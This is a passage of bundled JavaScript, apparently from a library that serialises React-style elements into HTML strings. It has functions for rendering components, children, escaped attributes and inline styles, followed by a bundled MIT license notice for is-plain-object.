875 return content;
876 }
877 const attributes = renderAttributes(props);
878 if (SELF_CLOSING_TAGS.has(type)) {
879 return "<" + type + attributes + "/>";
880 }
881 return "<" + type + attributes + ">" + content + "</" + type + ">";
882 }
883 function renderComponent(Component2, props, context, legacyContext = {}) {
884 const instance = new Component2(props, legacyContext);
885 if (typeof instance.getChildContext === "function") {
886 Object.assign(legacyContext, instance.getChildContext());
887 }
888 const html = renderElement(instance.render(), context, legacyContext);
889 return html;
890 }
891 function renderChildren(children, context, legacyContext = {}) {
892 let result = "";
893 const childrenArray = Array.isArray(children) ? children : [children];
894 for (let i = 0; i < childrenArray.length; i++) {
895 const child = childrenArray[i];
896 result += renderElement(child, context, legacyContext);
897 }
898 return result;
899 }
900 function renderAttributes(props) {
901 let result = "";
902 for (const key in props) {
903 const attribute = getNormalAttributeName(key);
904 if (!(0, import_escape_html.isValidAttributeName)(attribute)) {
905 continue;
906 }
907 let value = getNormalAttributeValue(key, props[key]);
908 if (!ATTRIBUTES_TYPES.has(typeof value)) {
909 continue;
910 }
911 if (isInternalAttribute(key)) {
912 continue;
913 }
914 const isBooleanAttribute = BOOLEAN_ATTRIBUTES.has(attribute);
915 if (isBooleanAttribute && value === false) {
916 continue;
917 }
918 const isMeaningfulAttribute = isBooleanAttribute || hasPrefix(key, ["data-", "aria-"]) || ENUMERATED_ATTRIBUTES.has(attribute);
919 if (typeof value === "boolean" && !isMeaningfulAttribute) {
920 continue;
921 }
922 result += " " + attribute;
923 if (isBooleanAttribute) {
924 continue;
925 }
926 if (typeof value === "string") {
927 value = (0, import_escape_html.escapeAttribute)(value);
928 }
929 result += '="' + value + '"';
930 }
931 return result;
932 }
933 function renderStyle(style) {
934 if (!isPlainObject(style)) {
935 return style;
936 }
937 let result;
938 const styleObj = style;
939 for (const property in styleObj) {
940 const value = styleObj[property];
941 if (null === value || void 0 === value) {
942 continue;
943 }
944 if (result) {
945 result += ";";
946 } else {
947 result = "";
948 }
949 const normalName = getNormalStylePropertyName(property);
950 const normalValue = getNormalStylePropertyValue(property, value);
951 result += normalName + ":" + normalValue;
952 }
953 return result;
954 }
955 var serialize_default = renderElement;
956 return __toCommonJS(index_exports);
957})();
958/*! Bundled license information:
959
960is-plain-object/dist/is-plain-object.mjs:
961 (*!
962 * is-plain-object <https://github.com/jonschlinkert/is-plain-object>
963 *
964 * Copyright (c) 2014-2017, Jon Schlinkert.
965 * Released under the MIT License.
966 *)
967*/
968